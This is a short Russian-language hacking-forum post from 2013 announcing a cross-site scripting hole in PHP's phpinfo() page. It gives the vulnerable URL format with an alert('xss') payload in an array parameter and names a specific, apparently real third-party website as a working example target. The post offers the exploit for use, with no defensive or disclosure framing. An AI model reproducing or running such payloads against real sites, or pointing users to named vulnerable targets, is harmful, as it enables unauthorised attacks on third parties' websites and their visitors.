Тема: Xss в phpinfo().
Показать сообщение отдельно

  #1  
Старый 04.11.2013, 02:59
psihoz26
Guest
Сообщений: n/a
Провел на форуме:
182660

Репутация: 324
По умолчанию

Не нашел про данную уязвимoсть ничего на форуме и поэтому решил запостить.

Формат уязвимой ссылки:

Код:
Code:
httр://site.com/phpinfo.php?a[]=alert('xss')
Пример:

Код:
Code:
http://www.infineform.com/info.php?a[]=alert('xss')
 
Ответить с цитированием